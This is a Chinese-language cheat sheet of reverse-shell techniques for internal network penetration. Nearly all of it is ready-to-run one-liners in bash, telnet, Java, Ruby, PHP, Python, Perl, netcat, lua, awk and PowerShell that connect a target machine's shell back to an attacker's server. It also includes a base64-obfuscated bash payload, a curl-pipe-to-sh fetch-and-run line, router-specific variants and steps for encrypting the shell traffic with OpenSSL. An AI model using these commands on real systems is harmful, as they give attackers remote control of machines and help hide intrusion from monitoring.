内网渗透之反弹shell的几种姿势

主要反弹方式

首先vps监听：nc –l –vv –p port

1.bash反弹
利用系统特殊设备文件/dev/tcp建立socket发出去，达到反弹shell的效果
bash -i>& /dev/tcp/ip/port 0>&1
大部分Linux系统可用，但某些iot设备不存在bash无法反弹；存在>、&富豪在对符号处理的情况下无效。

bash -c {echo,IGJhc2ggLWkgPiYgL2Rldi90Y3AvNDUuMzIuMjE5LjI0Mi85MTkxIDAgPiYx==}|{base64,-d}|{bash,-i}

2.telnet反弹
适用于nc不可用或者/dev/tcp不可用条件下，其中mknod是创建设备文件
mknod test p && telnet ip port 0<test | /bin/bash 1>test

telnet ip port | /bin/bash | telnet ip port

3.Java

1
2
3

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

4.Ruby

1	ruby -rsocket -e'f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的shell：

1	ruby -rsocket -e 'exit if fork;c=TCPSocket.new("ip","port");while(cmd=c.gets);IO.popen(cmd,"r"){\|io\|c.print io.read}end'

5.PHP
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

6.Python(2.7)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

另外的形式：

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('ip',port))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

7.Perl

perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

不依赖于/bin/sh的shell：

1	perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

18-1

8.nc
linux：nc -e /bin/sh ip port
Windows：nc -e cmd.exe ip port
当不能使用-e参数时：

1
2
3

mknod backpipe p && nc ip port 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc ip port
rm -f /tmp/p; mknod /tmp/p p && nc ip port 0/tmp/

nc版本有问题时：
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
对不具有反向链接的nc版本：
nc ip port1 |/bin/bash|nc ip port2
利用port1传入内容给bash执行,port2传出。

其他方式：
/sbin/busybox nc ip port -e /bin/bash

/bin/bash -i > /dev/tcp/ip/prot 0<&1 2>&1

针对某些mips架构或busybox系统的路由器或终端：


//锐捷
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | nc 127.0.0.1 6666 1>/tmp/backpipe1

//飞鱼星反弹shell
mkfifo /tmp/backpipe1 | /bin/sh 0</tmp/backpipe1 | /bin/busybox nc 127.0.0.1 6666 1>/tmp/backpipe1

learning from 孙涛(红队实战攻防技术分享：Linux后门总结-SSH利用篇
原创)

9.lua

1	lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"

10.gawk

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

11、awk

1	awk 'BEGIN{s="/inet/tcp/0/192.168.1.128/8080";for(;s\|&getline c;close(c))while(c\|getline)print\|&s;close(s)}'

12、其他
0<&196;exec 196<>/dev/tcp/ip/port;sh <&196 >&196 2>&196

curl https://x.x.sh/ip:port | sh

powershell -nop -c "$client = New-Object Net.Sockets.TCPClient('1.1.1.1',6666);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.UTF8Encoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::UTF8).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

nc 无法接收到shell可尝试使用ncat接收

使用Openssl加密反弹shell流量：
1、在vps上生成SSL证书的公钥/私钥对
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
2、openssl s_server -quiet -key key.pem -cert cert.pem -port 81

3、在目标机器上用openssl反弹加密shell
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.80.137:81 > /tmp/s; rm /tmp/s
18.3

参考链接：
http://www.freebuf.com/articles/system/147768.html
https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html